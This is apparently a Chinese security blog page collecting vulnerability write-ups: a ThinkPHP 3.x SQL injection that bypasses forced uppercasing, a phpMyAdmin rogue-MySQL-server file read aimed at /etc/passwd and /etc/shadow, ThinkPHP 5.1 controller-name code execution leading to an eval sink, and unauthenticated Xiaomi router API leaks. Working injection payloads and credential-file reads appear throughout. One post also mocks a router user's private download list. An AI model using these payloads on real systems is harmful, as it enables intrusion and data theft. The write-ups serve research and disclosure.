分类 安全之路 下的文章

ThinkPHP 3.x 表达式注入绕过强制大写

最近遇到一个thinkphp3的站,他用的tp版本比较低,正好存在很久以前的表达式注入
https://wystatic.tuisec.win/static/bugs/wooyun-2014-087731.html
但是通过分析注入发现,他会把表达式的内容进行了大写,所以导致linux的mysql因为某些情况下表名会敏感大小写,所以导致不能读取表的内容,
这是一个支持联合查询的注入点,通过注入发现,他会把输入的内容全部转换成大写
-w1062
下面看一下老版本的代码

 protected function parseWhereItem($key,$val) {
        $whereStr = '';
        if(is_array($val)) {
            if(is_string($val[0])) {
                ...
                }elseif('bind'==strtolower($val[0])){ // 使用表达式
                    $whereStr .= $key.' = :'.$val[1];
                }elseif('exp'==strtolower($val[0])){ // 使用表达式
                    $whereStr .= $key.' '.$val[1];
                }elseif(preg_match('/IN/i',$val[0])){ // IN 运算
                    if(isset($val[2]) && 'exp'==$val[2]) {
                        $whereStr .= $key.' '.strtoupper($val[0]).' '.$val[1];//strtoupper转换成大写了

                    }else{
                        if(is_string($val[1])) {
                             $val[1] =  explode(',',$val[1]);
                        }
$zone      =   implode(',',$this->parseValue($val[1]));
$whereStr .= $key.' '.strtoupper($val[0]).' ('.$zone.')'; //strtoupper转换成大写了
                    }
             ...
        return $whereStr;
    }

通过上面的代码发现,正常的payload是这样的

order_no[]=in ('1')  and 1=2 union select 1 from admin#&order_no[]=2  

假设查询语句如下

select 1 from user where order_no=1

通过正常的payload去注入会变成如下内容

select 1 from user where table in (1) AND 1=2 UNION SELECT 1 FROM ADMIN#'2' 

如果我们去查询一个正常的表名admin,会被强制转换成大写,这样如果是配置了大小写敏感或默认linux下mysql的配置就会出现表名不存在的错误
-w438

通过分析代码发现
然后通过这样的payload即可成功注入并绕过强制大写

order_no[0]=in (1)/*&order_no[1]=*/and 1=1 and (select 1 from admin limit 1)#

这样执行的sql语句就会变成

select 1 from user where table in (1)/* '*/and 1=1 and (select 1 from admin limit 1)#'

这样就不在表达式的参数里面去执行sql,绕过了强制大写。

其实理论上来说

elseif(preg_match('/IN/i',$val[0])){ // IN 运算
                    if(isset($val[2]) && 'exp'==$val[2]) {
                        $whereStr .= $key.' '.strtoupper($val[0]).' '.$val[1];//strtoupper转换成大写了

                    }else{
                        if(is_string($val[1])) {
                             $val[1] =  explode(',',$val[1]);
                        }
$zone      =   implode(',',$this->parseValue($val[1]));
$whereStr .= $key.' '.strtoupper($val[0]).' ('.$zone.')'; //strtoupper转换成大写了
                    }

如果val[2]=='exp'就直接吧val[1]传递到sql语句中了,并没有经过parseValue的转义.

order_no[0]=in&order_no[1]=sqli&order_no[2]=exp

但是我遇到的环境测试不通过,可能是版本问题。

然后因为存在[,] 会因为是in所以会被implode,所以需要绕过逗号进行联合查询

union select * from ((select 1)A join (select 2)B join (select 3)C);

600px-PhpMyAdmin_logo.svg.png

0x1 漏洞分析

在最新的phpMyAdmin上修复了几个漏洞,其中一个是:

本地文件包含(CVE-2018-19968) -至少从4.0到4.8.3的phpMyAdmin版本就有一个本地文件包含漏洞,可允许远程攻击者通>过转换功能从服务器上的本地文件中获取敏感内容。
“攻击者必须能够访问phpMyAdmin配置存储表,尽管可以在攻击者访问的任何数据库中轻松创建这些表。攻击者必须拥有有效的凭>据才能登录phpMyAdmin; 此漏洞不允许攻击者绕过登录系统。“

这个漏洞如果我本以为是话是之前mysql的 LOAD DATA INFILE 的问题,导致如果phpMyAdmin开启任意主机链接的话,可以导致读取本地文件,关于LOAD DATA INFILE本地文件读取可以参考下这篇文章,写的很完整。

结果发现在最新版的phpMyAdmin上进行测试,依然可以读文件,想了一下,这个根本的修复方式还是需要在php的myqsl扩展中进行修复。
所以不单单是pma的问题,如果有的shell的情况下可以通过自写数据库链接脚本来达到读文件的效果,理论上来说也可以用该方法绕过php的open_basedir。

关于LOAD DATA INFILE的大概解释:

LOAD DATA INFILE其实是一个mysql客户端的动作,不受mysql server的文件安全模式和文件权限的影响,是服务端向客户端发送一个读文件的请求,然后客户端再将文件发送过去。

0x2 漏洞利用

先配置一下环境,先下载最新版的phpmyadmin
然后修改/phpMyAdmin-4.8.4-all-languages/libraries/config.default.php

$cfg['AllowArbitraryServer'] = true; //false改为true

配置完成可即可发现,服务器的内容可以自己进行填写,

然后利用rogue_mysql_server.py进行文件的读取。
修改脚本中的

filelist = (
#    r'c:\boot.ini',
    r'/etc/passwd', #此处改为需要读取的文件
#    r'c:\windows\system32\drivers\etc\hosts',
#    '/etc/passwd',
#    '/etc/shadow',
)

脚本跑起来之后进行连接,账号密码随便填写即可

结果会保存在mysql.log中

drwxr-xr-x.   2 root root 4.0K 11月 28 10:01 xx
dr-xr-x---.  35 root root 4.0K 11月 28 10:01 .
dr-xr-xr-x.  18 root root 4.0K 11月 29 03:16 ..
drwxr-xr-x.  27 root root 4.0K 11月 29 07:50 tools
-rw-------.   1 root root  21K 12月 12 16:50 .bash_history
-rw-r--r--.   1 root root 327K 12月 12 16:57 mysql.log
[[email protected] ~]#

Xnip2018-12-13_01-11-49.jpg

ThinPHP5.1 代码执行漏洞

0x1 漏洞分析

补丁文件所在位置:/thinkphp/library/think/route/dispatch/Url.php
56-66行



        if ($this->param['auto_search']) {
            $controller = $this->autoFindController($module, $path);
        } else {
            // 解析控制器
            $controller = !empty($path) ? array_shift($path) : null;
        }

        if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) { patch fix vuls
            throw new HttpException(404, 'controller not exists:' . $controller);
        }

        // 解析操作

具体操作文件:/thinkphp/library/think/route/dispatch/Module.php

<?php
 
        parent::init();
        
        $result = $this->dispatch;
        /*
        $result完整被请求的url
        thinkphp正常支持 
        index.php/index/index/index
        index.php?s=index/index/index
        俩种模式的路由
        $result="index/index/index"
        */
        if (is_string($result)) {
            $result = explode('/', $result);
        }

        if ($this->rule->getConfig('app_multi_module')) {
            // 多模块部署
            $module    = strip_tags(strtolower($result[0] ?: $this->rule->getConfig('default_module')));
            $bind      = $this->rule->getRouter()->getBind();
            $available = false;

            if ($bind && preg_match('/^[a-z]/is', $bind)) {
                // 绑定模块
                list($bindModule) = explode('/', $bind);
                if (empty($result[0])) {
                    $module = $bindModule;
                }
                $available = true;
            } elseif (!in_array($module, $this->rule->getConfig('deny_module_list')) && is_dir($this->app->getAppPath() . $module)) {
                $available = true;
            } elseif ($this->rule->getConfig('empty_module')) {
                $module    = $this->rule->getConfig('empty_module');
                $available = true;
            }

            // 模块初始化
            // echo $this->app->getAppPath() . $module."<br>";
            // var_dump(is_dir($this->app->getAppPath() . $module));
            
            //echo $module,$available;die();
            if ($module && $available) {
                // 初始化模块
                //echo 123123;
                $this->request->setModule($module);
                $this->app->init($module);
            } else {
                throw new HttpException(404, 'module not exists:' . $module);
            }
        }

        // 是否自动转换控制器和操作名
        var_dump($result);
        $convert = is_bool($this->convert) ? $this->convert : $this->rule->getConfig('url_convert');
        // 获取控制器名
        $controller = strip_tags($result[1] ?: $this->rule->getConfig('default_controller')); //分割了/之后取第二个参数

        $this->controller = $convert ? strtolower($controller) : $controller;

        // 获取操作名
        $this->actionName = strip_tags($result[2] ?: $this->rule->getConfig('default_action')); //分割了/之后取第三个参数
        echo 'init:'.$this->controller."<br>";
        // 设置当前请求的控制器、操作
        $this->request
            ->setController(Loader::parseName($this->controller, 1))
            ->setAction($this->actionName);

        return $this;
    }

    public function exec()
    {
        // 监听module_init
        $this->app['hook']->listen('module_init');

        try {
            // 实例化控制器
            echo 'exec:'.$this->controller."<br>";
            $instance = $this->app->controller($this->controller,
                $this->rule->getConfig('url_controller_layer'),
                $this->rule->getConfig('controller_suffix'),
                $this->rule->getConfig('empty_controller'));

         ...
            //echo 123;die();
            $data = $this->app->invokeReflectMethod($instance, $reflect, $vars);

...

在看 $this->app->controller函数原型
/thinkphp/library/think/App.php

  public function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '')
    {   
        echo $name, $layer, $appendSuffix."<br>";
        list($module, $class) = $this->parseModuleAndClass($name, $layer, $appendSuffix); //重点调用了parseModuleAndClass
        var_dump(class_exists($class));
        echo 'class:'.$class."<br>";
        if (class_exists($class)) {
            echo 'class_exists<br>';
            return $this->__get($class);
        } elseif ($empty && class_exists($emptyClass = $this->parseClass($module, $layer, $empty, $appendSuffix))) {
            return $this->__get($emptyClass);
        }

        throw new ClassNotFoundException('class not exists:' . $class, $class);
    }
    
    protected function parseModuleAndClass($name, $layer, $appendSuffix)
    {   echo 'parseModuleAndClass:'.$name."<br>";
        if (false !== strpos($name, '\\')) { //如果name种包含\则赋值给class
            $class  = $name;
            
            $module = $this->request->module();
            
        } else {
            if (strpos($name, '/')) {
                list($module, $name) = explode('/', $name, 2);
            } else {
                $module = $this->request->module();
            }

            $class = $this->parseClass($module, $layer, $name, $appendSuffix);
        }

        return [$module, $class];
    }

0x2 漏洞利用

看到这里基本就能理解了
如果我访问

http://127.0.0.1:8023/index.php?s=index/think\Loader/esss&a=1asdasd

就可以调用thinkLoader 这个namespace下面的esss函数,为了方便测试,我在loader中加了一个esss函数,截图如下

下面只要找到一个点能代码执行即可
刚准备找点exploit就出来了?你们是魔鬼吗?
WX20181210-232257.png

0x3 找到利用点

文件:library/think/view/driver/Php.php

namespace think\view\driver;
...
    public function display($content, $data = [])
    {
        $this->content = $content;

        extract($data, EXTR_OVERWRITE);
        eval('?>' . $this->content);
    }
...

构造一下直接exploit
WX20181211-011440.png

2016年老文

本文是通过小米路由作为案例,讲解如何挖掘openwrt的漏洞,并且通过一个小米路由的0day作为实例,让大家更容易理解测试的方法。

1 提取固件内容

首先肯定是将固件中文件系统的内容提取出来,然后对其进行分析,也可以是分析其固件中应用程序是否存在漏洞,如Uhttpd等服务,也可以分析其web程序是否存在漏洞 如openwrt,
由于本人对二进制并不熟悉,所以此次的内容就是针对openwrt luci的。

1.1 固件解包

通过执行Binwalk可以发现存在如下内容:

[email protected]:~/miwifi# binwalk brcm4709_r2d_all_79e11_2.8.19.bin 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
672           0x2A0           LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 90046464 bytes
30048716      0x1CA81CC       TRX firmware header, little endian, image size: 3047424 bytes, CRC32: 0xA85FDFF0, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x0, rootfs offset: 0x0
30048744      0x1CA81E8       LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 5902752 bytes

通过加上-e参数对其进行解压,解压之后将会得到一个目录,进去查看之后内容如下:

[email protected]:~/miwifi# cd _brcm4709_r2d_all_79e11_2.8.19.bin.extracted/
[email protected]:~/miwifi/_brcm4709_r2d_all_79e11_2.8.19.bin.extracted# ls
1CA81E8  1CA81E8.7z  2A0  2A0.7z
[email protected]:~/miwifi/_brcm4709_r2d_all_79e11_2.8.19.bin.extracted# file 2A0
2A0: UBI image, version 1
[email protected]:~/miwifi/_brcm4709_r2d_all_79e11_2.8.19.bin.extracted# file 1CA81E8
1CA81E8: data
[email protected]:~/miwifi/_brcm4709_r2d_all_79e11_2.8.19.bin.extracted# 

1.2 提取文件系统

与其他不同的是,miwifi使用的是UBI的文件系统,这个文件系统挂载起来比较麻烦,在尝试了无数次之后发现一个自动化就能挂载的脚本
https://github.com/jrspruitt/ubi_reader
安装方式:

$ sudo apt-get install liblzo2-dev
$ sudo apt-get install python-lzo
$ git clone https://github.com/jd-boyd/python-lzo.git
$ cd python-lzo
$ python setup.py install

通过执行

ubireader_extract_images 2A0

可以得到如下结果

[email protected]:~/miwifi/_brcm4709_r2d_all_79e11_2.8.19.bin.extracted# ubireader_extract_images 2A0
[email protected]:~/miwifi/_brcm4709_r2d_all_79e11_2.8.19.bin.extracted# ls
1CA81E8  1CA81E8.7z  2A0  2A0.7z  *ubifs-root*
[email protected]:~/miwifi/_brcm4709_r2d_all_79e11_2.8.19.bin.extracted# 
[email protected]:~/miwifi/_brcm4709_r2d_all_79e11_2.8.19.bin.extracted/ubifs-root/2A0# ubireader_extract_files img-1883837156_vol-system.ubifs 
Extracting files to: ubifs-root

将会生成一个名叫 ubifs-root 的文件夹里面还存放这一个文件,这个文件就是ubi镜像的最终文件,在通过ubireader_extract_files对其进行提取即可,最后生成的文件夹,其中就存放的该固件的文件系统。

2 Openwrt的简单介绍

OpenWrt 可以被描述为一个嵌入式的 Linux 发行版,(主流路由器固件有 dd-wrt,tomato,openwrt三类)而不是试图建立一个单一的、静态的系统。OpenWrt的包管理提供了一个完全可写的文件系统,从应用程序供应商提供的选择和配置,并允许您自定义的设备,以适应任何应用程序。
对于开发人员,OpenWrt 是使用框架来构建应用程序,而无需建立一个完整的固件来支持;对于用户来说,这意味着其拥有完全定制的能力,可以用前所未有的方式使用该设备。

*以上内容来自百度百科*

Openwrt是一个支持用Lua进行开发嵌入式的linux路由系统,详细的内容就不说了,就简单说一下,基本在openwrt都是使用lua进行开发的,其中lua的目录结构大概如下
所有的lua模块和web调用的lua程序都在这个目录下面:

/usr/lib/lua/
/usb/lib/lua/luci #这里存放的就是luci也就是openwrt web访问所需的内容。

openwrt在开发的时候 基本上是MVC模式,既 Model,View,Controller,所以大家看下图就可以一目了然

Controller目录中存放的就是所有走web访问的入口文件,Model中放的就是一些所需要的模块,View就是html模板。

3 寻找漏洞

寻找漏洞的第一步自然是寻找一些高风险的漏洞,首先需要的就是查找出不需要登录就可以调用的模块,首先我们来看一个Contraller是怎么写的
文件位置:/usb/lib/lua/luci/controller/diagnosis/index.lua

module("luci.controller.diagnosis.index", package.seeall)
function index()
    local root = node()
    if not root.target then
        root.target = alias("diagnosis")
        root.index = true
    end
    local page   = node("diagnosis")
    page.target  = firstchild()
    page.title   = _("")
    page.order   = 110
    page.sysauth = "admin"
    page.mediaurlbase = "/xiaoqiang/diagnosis"
    page.sysauth_authenticator = "htmlauth"
    page.index = true
    entry({"diagnosis"}, template("diagnosis/home"), _("首页"), 1, 0x09)

    entry({"diagnosis", "wanerr"}, call("action_wanerr"), _(""), 2, 0x09)
    entry({"diagnosis", "errindex"}, call("action_errindex"), _(""), 3, 0x09)
end

function action_wanerr()
    local result = {}
    result["code"] = 0
    result["data"] = {
        ["a"] = _("对不起,小米路由器出现网络连接问题无法打开网页"),
        ["b"] = _("1、请检查网线是否正确连接路由器WAN口上"),
        ["c"] = _("2、请检查网线是否损坏"),
        ["d"] = _("3、请检查路由器WAN口是否损坏"),
        ["e"] = _("小米路由器技术支持")
    }
    luci.http.write_json(result)
end

function action_errindex()
    local result = {}
    result["code"] = 0
    result["data"] = {
        ["a"] = _("对不起,小米路由器出现网络连接问题无法打开网页"),
        ["b"] = _("立即进行网络诊断"),
        ["c"] = _("小米路由器技术支持")
    }
    luci.http.write_json(result)
end

其中最为关键的一个内容便是

    entry({"diagnosis", "wanerr"}, call("action_wanerr"), _(""), 2, 0x09)

这一段的意思就是,我通过访问

http://127.0.0.1/cgi-bin/luci/diagnosis/index/wanerr 

就可以调用action_wanerr 函数,然后0x09就是一个权限标志位,经过多次摸索发现0x9,0x01,0x0d的标志位是不需要登录就可以访问的。
那我们就先查找出所有0x09,0x08,0x0d标志位的文件,如下

api/misystem.lua:33:    entry({"api", "misystem", "topo_graph"},            call("getTopoGraph"), (""), 114, 0x0d)
api/xqsystem.lua:61:    entry({"api", "xqsystem", "upgrade_status"}, call("upgradeStatus"), (""), 148, 0x0d)
api/xqsystem.lua:73:    entry({"api", "xqsystem", "cancel"}, call("cancelUpgrade"), (""), 160, 0x0d)
api/xqsystem.lua:123:    entry({"api", "xqsystem", "flash_permission"}, call("flashPermission"), (""), 200, 0x0d)
web/index.lua:74:    entry({"web", "upgrading"}, template("web/syslock"), _("路由升级"), 101, 0x0d)
web/index.lua:81:    entry({"web", "topo"}, template("web/topograph"), _(""), 130, 0x0d)
api/xqnetwork.lua:90:    entry({"api", "xqnetwork", "wan_link"}, call("getWanLinkStatus"), (""), 265, 0x09)
api/xqnetwork.lua:104:    entry({"api", "xqnetwork", "pppoe_catch"}, call("pppoeCatch"), (""), 264, 0x09)
api/misystem.lua:91:    entry({"api", "misystem", "lsusb"},                 call("lsusb"), (""), 150, 0x09)
api/misystem.lua:97:    entry({"api", "misystem", "r_ip_conflict"},         call("rIpConflict"), (""), 155, 0x09)
api/misystem.lua:99:    entry({"api", "misystem", "tb_info"},               call("toolbarInfo"), (""), 156, 0x09)
api/xqsystem.lua:13:    entry({"api", "xqsystem", "init_info"}, call("getInitInfo"), (""), 101, 0x09)
api/xqsystem.lua:14:    entry({"api", "xqsystem", "fac_info"}, call("getFacInfo"), (""), 101, 0x09)
api/xqsystem.lua:133:    entry({"api", "xqsystem", "set_payment_info"}, call("setPaymentInfo"), (""), 207, 0x09)
api/xqsystem.lua:134:    entry({"api", "xqsystem", "sign_order"}, call("signOrder"), (""), 208, 0x09)
diagnosis/index.lua:16:    entry({"diagnosis"}, template("diagnosis/home"), _("首页"), 1, 0x09)
diagnosis/index.lua:18:    entry({"diagnosis", "wanerr"}, call("action_wanerr"), _(""), 2, 0x09)
diagnosis/index.lua:19:    entry({"diagnosis", "errindex"}, call("action_errindex"), _(""), 3, 0x09)
dispatch/index.lua:17:    entry({"dispatch"}, template("index"), _("跳转"), 1, 0x09)
web/index.lua:26:    entry({"web", "logout"}, call("action_logout"), 11, 0x09)
web/index.lua:41:    entry({"web", "init", "hello"}, call("action_hello"), _("欢迎界面"), 14, 0x09)   --不需要登录
web/index.lua:42:    entry({"web", "init", "agreement"}, template("web/init/agreement"), _("用户协议"), 14, 0x09)   --不需要登录
web/index.lua:43:    entry({"web", "init", "privacy"}, template("web/init/privacy"), _("用户体验改进计划"), 14, 0x09)   --不需要登录
web/index.lua:76:    entry({"web", "webinitrdr"}, call("action_webinitrdr"), _(""), 110, 0x09)
web/index.lua:79:    entry({"web", "ieblock"}, template("web/ieblock"), _(""), 120, 0x09)
api/xqpassport.lua:12:    entry({"api", "xqpassport", "login"}, call("passportLogin"), (""), 401, 0x01)
api/xqpassport.lua:14:    entry({"api", "xqpassport", "rigister"}, call("routerRegister"), (""), 405, 0x01)
api/xqpassport.lua:15:    entry({"api", "xqpassport", "binded"}, call("getBindInfo"), (""), 406, 0x01)
api/xqnetdetect.lua:12:    --entry({"api", "xqnetdetect", "wan_status"}, call("getWanStatus"), _(""), 351, 0x01)
api/xqnetdetect.lua:13:    entry({"api", "xqnetdetect", "sys_info"}, call("getSysInfo"), (""), 352, 0x01)
api/xqnetdetect.lua:14:    entry({"api", "xqnetdetect", "ping_test"}, call("pingTest"), (""), 353, 0x01)
api/xqnetdetect.lua:15:    entry({"api", "xqnetdetect", "detect"}, call("systemDiagnostics"), (""), 354, 0x01)
api/xqnetdetect.lua:16:    entry({"api", "xqnetdetect", "sys_status"}, call("systemStatus"), (""), 355, 0x01)
api/xqnetdetect.lua:19:    entry({"api", "xqnetdetect", "nettb"}, call("nettb"), (""), 359, 0x01)
api/misns.lua:12:    entry({"api", "misns", "prepare"},               call("prepare"), (""), 201, 0x01)
api/misns.lua:17:    entry({"api", "misns", "sns_init"},              call("snsInit"), (""), 206, 0x01)
api/misns.lua:21:    entry({"api", "misns", "authorization_status"},  call("authorizationStatus"), (""), 210, 0x01)
api/xqsystem.lua:17:    entry({"api", "xqsystem", "system_info"}, call("getSysInfo"), (""), 104, 0x01)
api/xqsystem.lua:32:    entry({"api", "xqsystem", "get_languages"}, call("getLangList"), (""), 118, 0x01)
api/xqsystem.lua:33:    entry({"api", "xqsystem", "get_main_language"}, call("getMainLang"), (""), 119, 0x01)
api/xqsystem.lua:45:    entry({"api", "xqsystem", "passport_bind_info"}, call("getPassportBindInfo"), (""), 132, 0x01)
api/xqsystem.lua:60:    entry({"api", "xqsystem", "flash_status"}, call("flashStatus"), (""), 147, 0x01)
api/xqsystem.lua:86:    entry({"api", "xqsystem", "device_mac"}, call("getDeviceMacaddr"), (""), 173, 0x01)
service/cachecenter.lua:11:    entry({"service", "cachecenter", "report_key"}, call("reportKey"), _(""), nil, 0x01)
service/datacenter.lua:34:    entry({"service", "datacenter", "media_delta"}, call("mediaDelta"), _(""), nil, 0x01)
service/datacenter.lua:35:    entry({"service", "datacenter", "media_metadata"}, call("mediaMetadata"), _(""), nil, 0x01)
service/datacenter.lua:36:    entry({"service", "datacenter", "share_miui_dir"}, call("shareMiuiBackupDir"), _(""), nil, 0x01)
service/datacenter.lua:37:    entry({"service", "datacenter", "get_file_list"}, call("getFileList"), _(""), nil, 0x01)
service/datacenter.lua:38:    entry({"service", "datacenter", "get_storage_info"}, call("getStorageInfo"), _(""), nil, 0x01)
service/datacenter.lua:39:    entry({"service", "datacenter", "get_youku_status"}, call("getYoukuStatus"), _(""), nil, 0x01)
service/datacenter.lua:40:    entry({"service", "datacenter", "bind_youku_appid"}, call("bindYoukuAppid"), _(""), nil, 0x01)

先选择几个重点的模块看一下,如:xqsystem,datacenter, misystem先选择第一个来查看一下:
通过如下内容:

api/misystem.lua:33:    entry({"api", "misystem", "topo_graph"},            call("getTopoGraph"), (""), 114, 0x0d)

得知,可以通过访问http:///cgi-bin/luci/api/misystem/topo_graph 来调用getTopoGraph,可以去看一下getTopoGraph函数的内容,

function getTopoGraph()
    local XQTopology = require("xiaoqiang.module.XQTopology")
    local result = {
        ["code"] = 0
    }
    local simplified = tonumber(LuciHttp.formvalue("simplified")) == 1 and true or false
    local graph = simplified and XQTopology.simpleTopoGraph() or XQTopology.topologicalGraph()
    result["graph"] = graph
    result["show"] = graph.leafs and 1 or 0
    LuciHttp.write_json(result)
end

发现函数中也没有做任何验证,进行访问即可得到如下信息

在测试其他的模块也有一些信息泄漏的漏洞,

其中比较严重的漏洞是下面这个,可以获取这个用户使用离线下载的文件列表,函数如下:

function getFileList()
   local payload = {}
   payload["api"] = 3
   payload["path"] = LuciHttp.formvalue("path")
   payload["sharedOnly"] = true
   tunnelRequestDatacenter(payload)
end

看内容应该是获取path下目录,但是也做了校验,并不能跳出其设置的用户目录,但是比如我们获取了下面这位用户,看到他下了一些小电影,什么黑丝豹纹,都是什么意思哦

openwrt中的lua脚本和传统的luajit编译后的有点不一样,需要打几个补丁才能正常使用luadec进行反编译,在研究过程中走了很多弯路,把安装过程大概的记录了一下,命令如下


  47  cd ..
  48  mkdir luadec
  49  cd luadec/
  50  git clone https://github.com/viruscamp/luadec
  51  cd luadec/
  52  git submodule update --init lua-5.1
  53  cd lua-5.1
  54  make linux
  55  make clean
  56  mkdir patch
  57  cd patch/
  58  wget https://dev.openwrt.org/export/HEAD/trunk/package/utils/lua/patches/010-lua-5.1.3-lnum-full-260308.patch
  61  wget https://dev.openwrt.org/export/HEAD/trunk/package/utils/lua/patches/030-archindependent-bytecode.patch
  62  wget https://dev.openwrt.org/export/HEAD/trunk/package/utils/lua/patches/011-lnum-use-double.patch
  63  wget https://dev.openwrt.org/export/HEAD/trunk/package/utils/lua/patches/015-lnum-ppc-compat.patch
  64  wget https://dev.openwrt.org/export/HEAD/trunk/package/utils/lua/patches/020-shared_liblua.patch
  67  wget https://dev.openwrt.org/export/HEAD/trunk/package/utils/lua/patches/040-use-symbolic-functions.patch
  68  wget https://dev.openwrt.org/export/HEAD/trunk/package/utils/lua/patches/050-honor-cflags.patch
  69  wget https://dev.openwrt.org/export/HEAD/trunk/package/utils/lua/patches/100-no_readline.patch
  70  wget https://dev.openwrt.org/export/HEAD/trunk/package/utils/lua/patches/200-lua-path.patch
  71  wget https://dev.openwrt.org/export/HEAD/trunk/package/utils/lua/patches/300-opcode_performance.patch
  72  ls -lh|wc
  73  ls -lh
  74  cd ..
  75  mv patch/ patches
  76  for i in ../patches/*.patch; do patch -p1 <$i ; done
  77  for i in ./patches/*.patch; do patch -p1 <$i ; done
  78  make linux

修改 lua-5.1/src/MakeFile


  # USE_READLINE=1
  +PKG_VERSION = 5.1.5
  -CFLAGS= -O2 -Wall $(MYCFLAGS)
  +CFLAGS= -fPIC -O2 -Wall $(MYCFLAGS)
  - $(CC) -o [email protected] -L. -llua $(MYLDFLAGS) $(LUA_O) $(LIBS)
  + $(CC) -o [email protected] $(LUA_O) $(MYLDFLAGS) -L. -llua $(LIBS)
  - $(CC) -o [email protected] -L. -llua $(MYLDFLAGS) $(LUAC_O) $(LIBS)
  + $(CC) -o [email protected] $(LUAC_O) $(MYLDFLAGS) -L. -llua $(LIBS)

执行


  make linux
  ldconfig
  cd ../luadec
  make LUAVER=5.1
  sudo cp luadec /usr/local/bin/

参考来源

http://storypku.com/2015/07/how-to-decompile-bytecoded-openwrt-lua-files/